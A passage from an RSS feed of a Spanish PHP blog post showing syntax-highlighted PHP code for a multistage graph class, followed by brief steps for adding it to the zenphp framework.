    <span style="color: darkblue; font-weight: bold">for</span> <span style="color: black">(</span><span style="color: darkblue; font-weight: bold"></span>$j = <span style="color: blue">0</span>; $j &lt; count(<span style="color: black"></span><span style="color: darkblue; font-weight: bold">$this</span>-&gt;<span style="color: black"></span>adjuntos)<span style="color: black"></span>; $j++<span style="color: black">)</span> <span style="color: black">{</span>

      <span style="color: green">//Si encuentro el origen en la column, busco el destino</span>
      <span style="color: darkblue; font-weight: bold">if</span> <span style="color: black">(</span><span style="color: black"></span><span style="color: darkblue; font-weight: bold">$this</span>-&gt;<span style="color: black"></span>adjuntos<span style="color: black">[</span><span style="color: blue">0</span><span style="color: black">]</span><span style="color: black">[$</span>j<span style="color: black">]</span> == $destino<span style="color: black">)</span> <span style="color: black">{</span>
        $fila = $j;
        <span style="color: darkblue; font-weight: bold">break</span>;
      <span style="color: black">}</span>
    <span style="color: black">}</span>

<span style="color: green">    //</span> <span style="color: darkblue; font-weight: bold">try</span> <span style="color: black">{ </span><span style="color: green">//Bloque try solo para PHP5 ( se puede intentar
    // con version_compare(phpversion(),'5','&lt;') )</span>
<span style="color: green"> </span>   <span style="color: green">// devuelvo el peso; si esa posicion no existe, retorno -1;
    // try puede cambiarse por if (isset($adjuntos[$fila][$columna])</span>
      <span style="color: darkblue; font-weight: bold">return</span> <span style="color: black"></span><span style="color: darkblue; font-weight: bold">$this</span>-&gt;<span style="color: black"></span>adjuntos<span style="color: black">[$</span>fila<span style="color: black">]</span><span style="color: black">[$</span>columna<span style="color: black">]</span>;
    <span style="color: black"></span><span style="color: green">//</span><span style="color: black">}</span><span style="color: black"></span><span style="color: green">//Fin bloque try:</span>    <span style="color: darkblue; font-weight: bold">catch</span> <span style="color: black">(</span><a href="http://www.google.com/search?q=Exception+php&amp;bntl=1"><span style="color: darkblue; font-weight: bold">Exception</span></a> $e<span style="color: black">)</span> <span style="color: black">{
</span>      <span style="color: darkblue; font-weight: bold">return</span> -<span style="color: blue">1</span>;
   <span style="color: black"></span><span style="color: green">//</span> <span style="color: black">}</span>
  <span style="color: black">}</span>

  <span style="color: green">/**
   * @param nodo str
   * @return int etapa del nodo recibido como parametro.
   */</span>
  <span style="color: black"></span><span style="color: green">//</span><span style="color: darkblue; font-weight: bold">public </span><span style="color: black"></span><span style="color: green">//Para PHP5
</span><span style="color: darkblue; font-weight: bold">  </span> <span style="color: darkblue; font-weight: bold">function</span> getEtapa<span style="color: black">(</span>$nodo<span style="color: black">)</span> <span style="color: black">{</span>
    <span style="color: darkblue; font-weight: bold">for</span> <span style="color: black">(</span><span style="color: darkblue; font-weight: bold"></span>$i = <span style="color: blue">0</span>; $i &lt; count(<span style="color: darkblue; font-weight: bold">$this</span>-&gt;<span style="color: black"></span>etapas)<span style="color: black"></span>; $i++<span style="color: black">)</span> <span style="color: black">{</span>
      <span style="color: darkblue; font-weight: bold">for</span> <span style="color: black">(</span><span style="color: darkblue; font-weight: bold"></span>$j = <span style="color: blue">0</span>; $j &lt;count(<span style="color: darkblue; font-weight: bold">$this</span>-&gt;<span style="color: black"></span>etapas<span style="color: black">[</span>$i<span style="color: black">]</span>)<span style="color: black"></span>; $j++<span style="color: black">)</span> <span style="color: black">{</span>
        <span style="color: darkblue; font-weight: bold">if</span> <span style="color: black">(</span><span style="color: darkblue; font-weight: bold">$this</span>-&gt;<span style="color: black"></span>etapas<span style="color: black">[$</span>i<span style="color: black">]</span><span style="color: black">[$</span>j<span style="color: black">]</span> == $nodo<span style="color: black">)</span> <span style="color: black">{</span>
          <span style="color: darkblue; font-weight: bold">return</span> $i;
        <span style="color: black">}</span>
      <span style="color: black">}</span>
    <span style="color: black">}</span>
    <span style="color: darkblue; font-weight: bold">return</span> -<span style="color: blue">1</span>;
  <span style="color: black">}</span>

  <span style="color: green">/**
   * @return int Numero de nodos del grafo.
   */</span>
 // <span style="color: darkblue; font-weight: bold">public
</span> <span style="color: darkblue; font-weight: bold">function</span> getNumNodos<span style="color: black">(</span><span style="color: black">)</span> <span style="color: black">{</span>
    <span style="color: darkblue; font-weight: bold">return</span> count(<span style="color: darkblue; font-weight: bold">$this</span>-&gt;<span style="color: black"></span>adjuntos<span style="color: black">[</span><span style="color: blue">0</span><span style="color: black">])</span><span style="color: black"></span> - <span style="color: blue">1</span>;
  <span style="color: black">}</span>

  <span style="color: green">/**
   * @return int numero de etapas del grafo
   */</span>
 <span style="color: green">/</span><span style="color: green">/</span> <span style="color: darkblue; font-weight: bold">public</span>
 <span style="color: darkblue; font-weight: bold">function</span> getNumEtapas<span style="color: black">(</span><span style="color: black">)</span> <span style="color: black">{</span>
    <span style="color: darkblue; font-weight: bold">return</span> count(<span style="color: darkblue; font-weight: bold">$this</span>-&gt;<span style="color: black"></span>etapas)<span style="color: black"></span>;
  <span style="color: black">}</span>

  <span style="color: green">/**
   * @return char[] Array de nombres (caracter) de los nodos
   */</span>
  <span style="color: green">/</span><span style="color: green">/</span> <span style="color: darkblue; font-weight: bold">public</span>
 <span style="color: darkblue; font-weight: bold">function</span><span style="color: darkblue; font-weight: bold"></span> <span style="color: black"></span><span style="color: black"></span>getNodos<span style="color: black">(</span><span style="color: black">)</span> <span style="color: black">{</span>
    $nodos = array();
    <span style="color: darkblue; font-weight: bold">for</span> <span style="color: black">(</span><span style="color: darkblue; font-weight: bold"></span>$i = <span style="color: blue">1</span>; $i &lt; count(<span style="color: darkblue; font-weight: bold">$this</span>-&gt;<span style="color: black"></span>adjuntos<span style="color: black">[</span><span style="color: blue">0</span><span style="color: black">]</span>)<span style="color: black"></span>; $i++<span style="color: black">)</span> <span style="color: black">{</span>
      $nodos<span style="color: black">[</span>$i - <span style="color: blue">1</span><span style="color: black">]</span> = <span style="color: darkblue; font-weight: bold">$this</span>-&gt;<span style="color: black"></span>adjuntos<span style="color: black">[</span><span style="color: blue">0</span><span style="color: black">]</span><span style="color: black">[</span>$i<span style="color: black">]</span>;
    <span style="color: black">}</span>
    <span style="color: darkblue; font-weight: bold">return</span> $nodos;
  <span style="color: black">}</span>

<span style="color: black">}</span></pre>
<p>?&gt;</p>
<p>Ahora, ¿cómo podemos insertar la clase en zenphp?</p>
<ol>
<li>Guarda el fichero como web/aplicaciones/ayudantes/clase_grafo.php</li>
<li>Crea web/index.php e instancia la clase <img src='http://blog.zenphp.es/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
</ol>
<span class="akst_link"><a href="http://blog.zenphp.es/?p=36&amp;akst_action=share-this"  title="E-mail this, post to del.icio.us, etc." id="akst_link_36"  class="akst_share_link">Compártelo</a>
</span>]]></content:encoded>
			<wfw:commentRss>http://blog.zenphp.es/2008/01/24/grafos-multietapa-en-php/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
